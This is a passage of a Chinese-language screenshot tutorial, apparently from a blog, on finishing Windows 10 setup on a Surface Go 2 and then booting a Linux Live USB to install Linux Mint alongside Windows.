<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLp9h1gjLKgpDBXahWvDRJRSy3wygywP4NPNSkcEIh3xNa5fAkUDzPl9b1nTitkM0-TvlDSbYRCUO-3v_PFsxpTUqs4EUgdQ82HQfMHKCZwuAMDK8WZo500JNPO4FPNXG_WKrDmiZIMDlfQQTPcuLG8J7F0fFIiD9nM9xVL5a0TCLJa2V2YdLRO3JkChw/w0/linux-on-surface-go-2-026.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgLp9h1gjLKgpDBXahWvDRJRSy3wygywP4NPNSkcEIh3xNa5fAkUDzPl9b1nTitkM0-TvlDSbYRCUO-3v_PFsxpTUqs4EUgdQ82HQfMHKCZwuAMDK8WZo500JNPO4FPNXG_WKrDmiZIMDlfQQTPcuLG8J7F0fFIiD9nM9xVL5a0TCLJa2V2YdLRO3JkChw/w600/linux-on-surface-go-2-026.jpg"/></a></div>
<p>由於 UEFI模式 仍然設定為以 USB Storage 起動,因此重新開始後會再次載入到 修復模式<br/>
按 <span class="mra-highlighter">關閉您的電腦</span> 關機,然後 <span class="mra-highlighter">拔除USB</span> 再開機,才能載入已修復的 Windows</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_tdCYVc3m49eD5AYjrDvvWfmzP1yGo9ofBL-DxiaJAVd3sVunjziLip3cpaqyp1vY5AAiOEVjckJumu5aUol59di6kGHKMKwslHrfoH62iFgC59S_lWBtvahcbWPAqlHFewZOphRXY5vLhddPZCX5FbXPxrlKIi3aduZL_4HRU2wePyXWfLzsSWSYBHE/w0/linux-on-surface-go-2-027.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_tdCYVc3m49eD5AYjrDvvWfmzP1yGo9ofBL-DxiaJAVd3sVunjziLip3cpaqyp1vY5AAiOEVjckJumu5aUol59di6kGHKMKwslHrfoH62iFgC59S_lWBtvahcbWPAqlHFewZOphRXY5vLhddPZCX5FbXPxrlKIi3aduZL_4HRU2wePyXWfLzsSWSYBHE/w600/linux-on-surface-go-2-027.jpg"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhd3zASqCr-omk_RVv_LORJeQ4MFl2oLHDFWDXwKhPSLALv3BXGmJqC30s_9zMuc2wGlYzpiXYhB0oAH5zzScUHztprmVfDQV4H9sOiCH5o11jpic1j36PnfXvrDnSLJzTnJAjlyfnd42_xeZqtobDRDpV4sWKQjh7e4xvjXLILmegB6E92fWDJwEN14Gk/w0/linux-on-surface-go-2-028.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhd3zASqCr-omk_RVv_LORJeQ4MFl2oLHDFWDXwKhPSLALv3BXGmJqC30s_9zMuc2wGlYzpiXYhB0oAH5zzScUHztprmVfDQV4H9sOiCH5o11jpic1j36PnfXvrDnSLJzTnJAjlyfnd42_xeZqtobDRDpV4sWKQjh7e4xvjXLILmegB6E92fWDJwEN14Gk/w600/linux-on-surface-go-2-028.jpg"/></a></div>
<p>雖然已經修復 Windows ,但仍然需要設定 Windows ,因此又是漫長的等待</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhycapEw62vhpvSvR3u2lXkna7s0XVt9TKw_-jn7dc5cnSoNRS5zkkKyhCVslrrC5QoeT-XFReo_D1dKNleyOFur1nhYzHR8MnWyyhmo1xmK7u5YrDdGgfGawtth8OIhiFB37GL4E1r83jp0OJiGpUUsurfClquI6NZqRsBa7PmaBj965iQSPCYC5wAwJY/w0/linux-on-surface-go-2-029.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhycapEw62vhpvSvR3u2lXkna7s0XVt9TKw_-jn7dc5cnSoNRS5zkkKyhCVslrrC5QoeT-XFReo_D1dKNleyOFur1nhYzHR8MnWyyhmo1xmK7u5YrDdGgfGawtth8OIhiFB37GL4E1r83jp0OJiGpUUsurfClquI6NZqRsBa7PmaBj965iQSPCYC5wAwJY/w600/linux-on-surface-go-2-029.jpg"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-GicTgutUXlglUYGRjfuhwUPKcOqwiqmXKQieXuji_sreTh0gTZp2FwO6dADo8ZUM8VHlb5T0yA9-Q8ioueiYNrv3DLEBEA3_hkcjTmeZBvbJ9iLtG-Qlvhw1pSoIzrbwZN4uLuqZ57eMmxB5qsCeDD061P9saCajQ7siOGFH1ifF-cE6C9J4Fgf17rQ/w0/linux-on-surface-go-2-030.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-GicTgutUXlglUYGRjfuhwUPKcOqwiqmXKQieXuji_sreTh0gTZp2FwO6dADo8ZUM8VHlb5T0yA9-Q8ioueiYNrv3DLEBEA3_hkcjTmeZBvbJ9iLtG-Qlvhw1pSoIzrbwZN4uLuqZ57eMmxB5qsCeDD061P9saCajQ7siOGFH1ifF-cE6C9J4Fgf17rQ/w600/linux-on-surface-go-2-030.jpg"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTF1l9Kd6nz1QgXiIbmuVFXDh9EySLnTrSXRZdI5o7RhCqlpsyaBiBGZNGR8VKKgWq_DPKvkUu9DfpvIPPlOrNhDX4aFH-OGe4NjCjHhxJoEFpu1DPyOgOhcLCtuF1XX5hbn81m4B1VG9aiepNAmI9AlaBW5vdABUGyD2lN1HKKY9MWi-unHu2xP0tUcg/w0/linux-on-surface-go-2-031.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTF1l9Kd6nz1QgXiIbmuVFXDh9EySLnTrSXRZdI5o7RhCqlpsyaBiBGZNGR8VKKgWq_DPKvkUu9DfpvIPPlOrNhDX4aFH-OGe4NjCjHhxJoEFpu1DPyOgOhcLCtuF1XX5hbn81m4B1VG9aiepNAmI9AlaBW5vdABUGyD2lN1HKKY9MWi-unHu2xP0tUcg/w600/linux-on-surface-go-2-031.jpg"/></a></div>
<p>載入完成後,便需要設定系統<br/>
基本的設定,在下不一一說明,只需要 <span class="mra-highlighter">選擇閣下合適的項目</span> 即可</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOEIq7i2UsiFzU6ZgMxSazOlkdaIL9Wrvg5Chhd0PzyXVmBT97HrkEByQNgWnEwcM0yaoMEsANpHXkS81h14UuH30wJg4gu23Cs3JzjQPUezv2k-hrkKqH-Upjuk0bRQa9wUBIA912qJWLD3-4eko8uJMnlGcy0hlKxTx0sckk2VbgyeL7K1zfaAbcmPk/w0/linux-on-surface-go-2-032.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOEIq7i2UsiFzU6ZgMxSazOlkdaIL9Wrvg5Chhd0PzyXVmBT97HrkEByQNgWnEwcM0yaoMEsANpHXkS81h14UuH30wJg4gu23Cs3JzjQPUezv2k-hrkKqH-Upjuk0bRQa9wUBIA912qJWLD3-4eko8uJMnlGcy0hlKxTx0sckk2VbgyeL7K1zfaAbcmPk/w600/linux-on-surface-go-2-032.jpg"/></a></div>
<p>在 <span class="mra-highlighter">要新增第二種鍵盤配置嗎?</span> 設定,在下建議 <span class="mra-highlighter">跳過</span> 不需要新增第二種鍵盤配置</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaSWR1EsHBxKg3LVRAhqaioKnoW4mU1tlg9w7XtHl6J1F2mql6y6LUABaeDK08zUJB8NbwoQsp2evg0wwXBN2wt1DBQw-Kvo2LbfijW2BtNNik-jhNPwp-fy2cEO2BBFbOebYpXLUKUvFi0XF9SWwtjQbG7tJoBkXcr8t3gVxzQhtpPsNEs_82ySbPSzE/w0/linux-on-surface-go-2-033.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaSWR1EsHBxKg3LVRAhqaioKnoW4mU1tlg9w7XtHl6J1F2mql6y6LUABaeDK08zUJB8NbwoQsp2evg0wwXBN2wt1DBQw-Kvo2LbfijW2BtNNik-jhNPwp-fy2cEO2BBFbOebYpXLUKUvFi0XF9SWwtjQbG7tJoBkXcr8t3gVxzQhtpPsNEs_82ySbPSzE/w600/linux-on-surface-go-2-033.jpg"/></a></div>
<p>在 <span class="mra-highlighter">讓我們將您連線到線路</span> 不需要連接網絡,選擇右下角的 <span class="mra-highlighter">我沒有網際網路</span></p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtjGtu38PynYJ3BHdmBpmBPqaihifPUnuUtT9jke0mQNO6QmRTodOEfFrN-4V2zCNVMrtT-IvvoUAIrR1lOKX1fU0QVWzPDd_4BPhrxWGPv6MovVxPlJgxwLrRc7mUiyTE6TTxgA3rqNriNET1oD-GRoi9e0_SPa2vQZOe_rhNog5EMDllxokxSittzB0/w0/linux-on-surface-go-2-034.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtjGtu38PynYJ3BHdmBpmBPqaihifPUnuUtT9jke0mQNO6QmRTodOEfFrN-4V2zCNVMrtT-IvvoUAIrR1lOKX1fU0QVWzPDd_4BPhrxWGPv6MovVxPlJgxwLrRc7mUiyTE6TTxgA3rqNriNET1oD-GRoi9e0_SPa2vQZOe_rhNog5EMDllxokxSittzB0/w600/linux-on-surface-go-2-034.jpg"/></a></div>
<p>在 <span class="mra-highlighter">您在連線至網際網路後還能探索更多項目</span> ,選擇右下角的 <span class="mra-highlighter">繼續進行有限的安裝</span></p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrfykZi4y6O5Jg8z0JiBcN9FlcWOeJ6dWx6MaKYWBJT34njiLd0SzCqqBl6xr1LSK499XX_4ed9wxcVZGT0e1xGJcAjobauLE26GSRbhyphenhyphenniJ2EeUYgVenu1zu3WkIbfM03E_4p-dS5iB566_1hcmVYeMEHnpNNJ9oaZKzrV3YAs7wYtPUU4yAFWQruo_I/w0/linux-on-surface-go-2-035.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrfykZi4y6O5Jg8z0JiBcN9FlcWOeJ6dWx6MaKYWBJT34njiLd0SzCqqBl6xr1LSK499XX_4ed9wxcVZGT0e1xGJcAjobauLE26GSRbhyphenhyphenniJ2EeUYgVenu1zu3WkIbfM03E_4p-dS5iB566_1hcmVYeMEHnpNNJ9oaZKzrV3YAs7wYtPUU4yAFWQruo_I/w600/linux-on-surface-go-2-035.jpg"/></a></div>
<p>又是等待</p>
<p>系統設定完成後,會設定使用者資料</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwDo5vRm1vOeGlbjkXZHEH56_Zt0lGyiXBPhuH5JcWVsyQguZzsy2k706H0hev64PjEZ14h8zwm2rQZ1lpEwpboU7qsG2Q6giozMJXPc8O-ZO5qPg75lM7XxN7f00XPQKwCal3JnH1rlDp1prpOl5EY0GZgHw1KEywwuFSCXH8_dag4RYyMkTj99yT4KU/w0/linux-on-surface-go-2-036.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwDo5vRm1vOeGlbjkXZHEH56_Zt0lGyiXBPhuH5JcWVsyQguZzsy2k706H0hev64PjEZ14h8zwm2rQZ1lpEwpboU7qsG2Q6giozMJXPc8O-ZO5qPg75lM7XxN7f00XPQKwCal3JnH1rlDp1prpOl5EY0GZgHw1KEywwuFSCXH8_dag4RYyMkTj99yT4KU/w600/linux-on-surface-go-2-036.jpg"/></a></div>
<p>選擇右下角 <span class="mra-highlighter">接受</span></p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEga-rUjBkyh6Mxb_qdPaw_VvI5m_8hh8K2KhZBuuU6jlyBWFdI_4Y47-GWam3DgXWa8dIK2QDynjnoeAsZ_j_vb5A8gjluEuNA47fwiGXQjIrQ5PEf5JgdkK3RizHKoQMof7NWaikXmiAtKIV8wzTT915z73e7XwM1iE2iiz5zEZry8ixTIKOTMHiMYgso/w0/linux-on-surface-go-2-037.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEga-rUjBkyh6Mxb_qdPaw_VvI5m_8hh8K2KhZBuuU6jlyBWFdI_4Y47-GWam3DgXWa8dIK2QDynjnoeAsZ_j_vb5A8gjluEuNA47fwiGXQjIrQ5PEf5JgdkK3RizHKoQMof7NWaikXmiAtKIV8wzTT915z73e7XwM1iE2iiz5zEZry8ixTIKOTMHiMYgso/w600/linux-on-surface-go-2-037.jpg"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjj_RsaKb7wYYMAUTsbkuSO6hyphenhyphen-zl2aSPj4sT3ybBFlRs6DawPyqr5I_zVgIY4LvDnZXrZKnpOooeQKJEKGkHehiwPbklXreqN_sI9n1QPorkLWBp5c1XH2XK6SiZWvkqnqe4bWHrVNH444blVISQvC0LV9zy5XaVeVS-b47V-PdyJvYBzISeSNeBSpC3I/w0/linux-on-surface-go-2-038.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjj_RsaKb7wYYMAUTsbkuSO6hyphenhyphen-zl2aSPj4sT3ybBFlRs6DawPyqr5I_zVgIY4LvDnZXrZKnpOooeQKJEKGkHehiwPbklXreqN_sI9n1QPorkLWBp5c1XH2XK6SiZWvkqnqe4bWHrVNH444blVISQvC0LV9zy5XaVeVS-b47V-PdyJvYBzISeSNeBSpC3I/w600/linux-on-surface-go-2-038.jpg"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgx2XkP5EJOfJKwKhDQGsP2guGr-OCaElbNYzEYvv8BfhrpiI1QfehskVCsxUMLU1jbgCBzmYgWx0ipgFk6T_1IqPrlx8WtUrNLNz5zB_tE5GCXO-qX44DI41B_B8x3sO-O704q1F0uE-F4OYsaiosVM6CIg2w5OEIDqWu1J_ccckISnlPzUjcz0EPTVL8/w0/linux-on-surface-go-2-039.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgx2XkP5EJOfJKwKhDQGsP2guGr-OCaElbNYzEYvv8BfhrpiI1QfehskVCsxUMLU1jbgCBzmYgWx0ipgFk6T_1IqPrlx8WtUrNLNz5zB_tE5GCXO-qX44DI41B_B8x3sO-O704q1F0uE-F4OYsaiosVM6CIg2w5OEIDqWu1J_ccckISnlPzUjcz0EPTVL8/w600/linux-on-surface-go-2-039.jpg"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSGVgblLSittO0133ZaQSxyIIg_SKqAAVC8oVcnPYYaOZS3uUPi1UbZY3j1-bVbCsETo6kTgj3O4WQjNJ7d20TJNw6cmWkVls8I7F05ghQTw6VoqCZ6FsYBmscaFbE5tZNDJjo-ECsFzNjWFvCfKD4c5pgHAVexkLbO4ApKjauLD228TpUO2YNt3bW0wU/w0/linux-on-surface-go-2-040.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSGVgblLSittO0133ZaQSxyIIg_SKqAAVC8oVcnPYYaOZS3uUPi1UbZY3j1-bVbCsETo6kTgj3O4WQjNJ7d20TJNw6cmWkVls8I7F05ghQTw6VoqCZ6FsYBmscaFbE5tZNDJjo-ECsFzNjWFvCfKD4c5pgHAVexkLbO4ApKjauLD228TpUO2YNt3bW0wU/w600/linux-on-surface-go-2-040.jpg"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0IxfJDY3Zm1l1IELU5CU07vTWtAmrSEGPdqFY0n-WCmnQ8LgSPNTgYiFxwwPBp8v50doncflNhx7z1R1r2gYZDeS3rIAKQBXmC1wVi906QR8rEqLJyVGNm9HbON6Ui-J-qpWPI6s83T_CcxudX1Ur1-tIgHkySikbUgQnSd4GXnp-dd4k-DoP0gdHhr0/w0/linux-on-surface-go-2-041.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0IxfJDY3Zm1l1IELU5CU07vTWtAmrSEGPdqFY0n-WCmnQ8LgSPNTgYiFxwwPBp8v50doncflNhx7z1R1r2gYZDeS3rIAKQBXmC1wVi906QR8rEqLJyVGNm9HbON6Ui-J-qpWPI6s83T_CcxudX1Ur1-tIgHkySikbUgQnSd4GXnp-dd4k-DoP0gdHhr0/w600/linux-on-surface-go-2-041.jpg"/></a></div>
<p>設定 <span class="mra-highlighter">使用者名稱</span> 、 <span class="mra-highlighter">密碼</span> 、 <span class="mra-highlighter">安全問題</span> 等 資料,然後等待設定完成</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixQAzHDfQT6GrmliVTkpC8QqjYT1PP10ex6P1TLUhS9Ix16DUqnblo3OV-1wliVcykeAIDmApO0jLAhf_nZKTteRIcAz9BCi4pwLeubV-Z1o70OVCP8JC8ZaaEhHg-yRFF96wMAP_zyb1-dc9Kir65sdanN75Ja6QYBnN3vxnv_jNOm4tWehrx7xA4rGo/w0/linux-on-surface-go-2-042.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixQAzHDfQT6GrmliVTkpC8QqjYT1PP10ex6P1TLUhS9Ix16DUqnblo3OV-1wliVcykeAIDmApO0jLAhf_nZKTteRIcAz9BCi4pwLeubV-Z1o70OVCP8JC8ZaaEhHg-yRFF96wMAP_zyb1-dc9Kir65sdanN75Ja6QYBnN3vxnv_jNOm4tWehrx7xA4rGo/w600/linux-on-surface-go-2-042.jpg"/></a></div>
<p>在 <span class="mra-highlighter">使用您的臉部可加快登入速度並提升安全性</span> ,選擇右下角 <span class="mra-highlighter">暫時跳過</span></p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBG_H0TeQ26-5CxOmB81qi2ILFxYRAI5bxgqh-JlQkEyeTL_j4QbWNOQLUkM33tQMvZIiWsMlO2RKmUnBBnPeT1nI9MFCXMGsONNjt1lXb21eEeqrrV7gma3lSrNvD0iRmAFifznVN7N5AtWTKbULHQZ1WWLmewrTu77TiGSY7IpGq6cisl521ilCN_Hk/w0/linux-on-surface-go-2-043.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBG_H0TeQ26-5CxOmB81qi2ILFxYRAI5bxgqh-JlQkEyeTL_j4QbWNOQLUkM33tQMvZIiWsMlO2RKmUnBBnPeT1nI9MFCXMGsONNjt1lXb21eEeqrrV7gma3lSrNvD0iRmAFifznVN7N5AtWTKbULHQZ1WWLmewrTu77TiGSY7IpGq6cisl521ilCN_Hk/w600/linux-on-surface-go-2-043.jpg"/></a></div>
<p>在 <span class="mra-highlighter">選擇裝置的隱私設定</span> ,在下建議 <span class="mra-highlighter">全部設定都選擇 否</span></p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9DbhY4oG94rKt2R6tvDmzkra9Ar6xrXY0YCaEOugcZ0eC6hFXh0I0qVpQiWkedcEWsri9MUclm2ktCBw1MYbQGwhw2nDtPUSrcc7dVy0YHKpR3mbaIaYVU74xGgrdIoTYhCV5M3Evn3frvZQwE7YQOBJyqOH_I7__qnstbSxscqWiDUeQhXz2dKq7fqw/w0/linux-on-surface-go-2-044.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9DbhY4oG94rKt2R6tvDmzkra9Ar6xrXY0YCaEOugcZ0eC6hFXh0I0qVpQiWkedcEWsri9MUclm2ktCBw1MYbQGwhw2nDtPUSrcc7dVy0YHKpR3mbaIaYVU74xGgrdIoTYhCV5M3Evn3frvZQwE7YQOBJyqOH_I7__qnstbSxscqWiDUeQhXz2dKq7fqw/w600/linux-on-surface-go-2-044.jpg"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnE28AF8UM4eMgXNaJNOa48RDbg2I7yhEEs96oIhy_wxhSIxaTNQoGWu9to_u1Ibbw_qB0wPVjE77viuRVAMnvsBck-tTO2hNm0iDrHYekiF54B5dEQsRbjbulZJsRdiJn2aYyhtLi_6wm90ty9fpFTIoFtbQAZwPbC8xMh61dfutrIDxht3q2JvySYFg/w0/linux-on-surface-go-2-045.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnE28AF8UM4eMgXNaJNOa48RDbg2I7yhEEs96oIhy_wxhSIxaTNQoGWu9to_u1Ibbw_qB0wPVjE77viuRVAMnvsBck-tTO2hNm0iDrHYekiF54B5dEQsRbjbulZJsRdiJn2aYyhtLi_6wm90ty9fpFTIoFtbQAZwPbC8xMh61dfutrIDxht3q2JvySYFg/w600/linux-on-surface-go-2-045.jpg"/></a></div>
<p>等待完成隱私設定</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrsYGkyC3OICXzAfB3t2eYWT3iiEXLxTPJqQ0aGvB7jtk9SOUPAPZ8_t2Iq8cNZQonRDNOhSvhyym4QlgHHU7knXUHsricKtJWNr53kIButElarIVDluKo0I9VZUpqlqowUafKVXFn2Xc5AzsyvmuERtXjt67p-DK2qRpupjoIIRLz-QUwxHCkE4RiFeY/w0/linux-on-surface-go-2-046.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrsYGkyC3OICXzAfB3t2eYWT3iiEXLxTPJqQ0aGvB7jtk9SOUPAPZ8_t2Iq8cNZQonRDNOhSvhyym4QlgHHU7knXUHsricKtJWNr53kIButElarIVDluKo0I9VZUpqlqowUafKVXFn2Xc5AzsyvmuERtXjt67p-DK2qRpupjoIIRLz-QUwxHCkE4RiFeY/w600/linux-on-surface-go-2-046.jpg"/></a></div>
<p>完成後會載入到 Windows 10 桌面</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFaMnJqcS0XwFxE68UUCU3PWgTVR5-8a8p9fppHORVV4vKII-J4Qe7173WGrrTxD2gzpAcJ3WUcQCIp-sdsAVjaCARB4RHYGznuXKf5VbEN5gunZQnYy6MVHHT3SOj0FBajqD5sYCFxwpO5tg89OS6Lk8hu-AgWxast-MON2n50TFojxY0vzS0-W7WYQ0/w0/linux-on-surface-go-2-047.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFaMnJqcS0XwFxE68UUCU3PWgTVR5-8a8p9fppHORVV4vKII-J4Qe7173WGrrTxD2gzpAcJ3WUcQCIp-sdsAVjaCARB4RHYGznuXKf5VbEN5gunZQnYy6MVHHT3SOj0FBajqD5sYCFxwpO5tg89OS6Lk8hu-AgWxast-MON2n50TFojxY0vzS0-W7WYQ0/w600/linux-on-surface-go-2-047.png"/></a></div>
<p>將 Linux Live Boot USB 連接到 Surface Go 2 ,到 <span class="mra-highlighter">設定</span> > <span class="mra-highlighter">復原</span> ,按 <span class="mra-highlighter">立即重新啟動</span></p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEid6Hp8RjO7DY9GXB9sn79w0aNYWYBDeaaCoq-U8c8dTYSj2Nysc6S4RmcSRDfvuOQLu-WlaR_xV9ZiHbe-ZMxTYIQOErdNvgI9OjhSMCxz-vN4MgcjSnTZWkFwGgHyDaiAYmzdvQERaRNmNSfxLfuwMD9Mk0ZBs5tWGKJix4VFqwsmW5L5kqAF_qgw2JA/w0/linux-on-surface-go-2-048.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEid6Hp8RjO7DY9GXB9sn79w0aNYWYBDeaaCoq-U8c8dTYSj2Nysc6S4RmcSRDfvuOQLu-WlaR_xV9ZiHbe-ZMxTYIQOErdNvgI9OjhSMCxz-vN4MgcjSnTZWkFwGgHyDaiAYmzdvQERaRNmNSfxLfuwMD9Mk0ZBs5tWGKJix4VFqwsmW5L5kqAF_qgw2JA/w600/linux-on-surface-go-2-048.jpg"/></a></div>
<p>重新開機後載入到 原生系統修復模式<br/>
在 <span class="mra-highlighter">選擇選項</span> ,選擇 <span class="mra-highlighter">使用裝置</span></p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7rSorozpxeWRf4TdJ7MpjNiJTh7NqgqSAQ90Wxx5KdSjNf1DkQjcdb1gfP5hPnlqrl87kLwXDCTWRBNLGntQWOc7gxURKj8TALUT__3J6tGaN5ikaYreEIH8XN60NkRxnzl5N6WXoEyBASHw707e5UnkhRHqxU5TrKHFq_ahDtPTfBUZoCWhZ_howPTU/w0/linux-on-surface-go-2-049.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7rSorozpxeWRf4TdJ7MpjNiJTh7NqgqSAQ90Wxx5KdSjNf1DkQjcdb1gfP5hPnlqrl87kLwXDCTWRBNLGntQWOc7gxURKj8TALUT__3J6tGaN5ikaYreEIH8XN60NkRxnzl5N6WXoEyBASHw707e5UnkhRHqxU5TrKHFq_ahDtPTfBUZoCWhZ_howPTU/w600/linux-on-surface-go-2-049.jpg"/></a></div>
<p>在 <span class="mra-highlighter">使用裝置</span> ,選擇 <span class="mra-highlighter">Linpus Lite</span></p>
<p>有時在 原生系統修復模式 無法辨認 Linux Live Boot USB 而無法顯示 Linupus Lite<br/>
需要 重新載入到 Windows ,重覆載入到 原生系統修復模式</p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkEXJ5vCi8WtSEVpzbPeTZSbmeBjqJgkZTm5Yl8HhYGsD8qZD3QoQBTOSY6hg2KKxEFImqZn-Gy3nfrhj5agkmvRcIqoNU_ev7ToCj_qnIhtOgQrkhkPrczKD5XJJ-Pb-gBAdQ29y4mHZavEGINcmMWq6YyUipjZscpVlwzrT4gfQGLfusC_-Zs9cu9pI/w0/linux-on-surface-go-2-050.jpg"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkEXJ5vCi8WtSEVpzbPeTZSbmeBjqJgkZTm5Yl8HhYGsD8qZD3QoQBTOSY6hg2KKxEFImqZn-Gy3nfrhj5agkmvRcIqoNU_ev7ToCj_qnIhtOgQrkhkPrczKD5XJJ-Pb-gBAdQ29y4mHZavEGINcmMWq6YyUipjZscpVlwzrT4gfQGLfusC_-Zs9cu9pI/w600/linux-on-surface-go-2-050.jpg"/></a></div>
<p>顯示 <span class="mra-highlighter">GRUB2起動畫面</span> ,表示能夠以 Linux Live Boot USB 起動</p>
<p>安裝流程大約一般情況相同<br/>
唯一不同的是,由於 Surface Go 2 需要使用 UEFI 起動,在下 <span class="mra-highlighter">不建議使用 Something else 安裝</span></p>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMdJwCGAMdEqJKr4aOtELtZNzgVFwtPVRMe0UMPdh0z1LPquXhWUWiOTBkHcesb8AhTo7G2rrKaDkifNN3RP0PXvZXc6yA7UUEnn0EdHGpSWw055OiIq6hVv2PqbYZwKbowJby41aF2SffvZ3s8IttW72MCmpfsLN0yNQkr5tgrgN-lYcPZhvTjPGFKMI/w0/linux-on-surface-go-2-051.png"><img aria-hidden="true" alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMdJwCGAMdEqJKr4aOtELtZNzgVFwtPVRMe0UMPdh0z1LPquXhWUWiOTBkHcesb8AhTo7G2rrKaDkifNN3RP0PXvZXc6yA7UUEnn0EdHGpSWw055OiIq6hVv2PqbYZwKbowJby41aF2SffvZ3s8IttW72MCmpfsLN0yNQkr5tgrgN-lYcPZhvTjPGFKMI/w600/linux-on-surface-go-2-051.png"/></a></div>
<p>如果閣下打算讓 Windows 與 Linux 同時在 Surface Go 2 運作<br/>
可以選擇 <span class="mra-highlighter">Install Linux Mint alongside Windows Boot Manager</span></p>
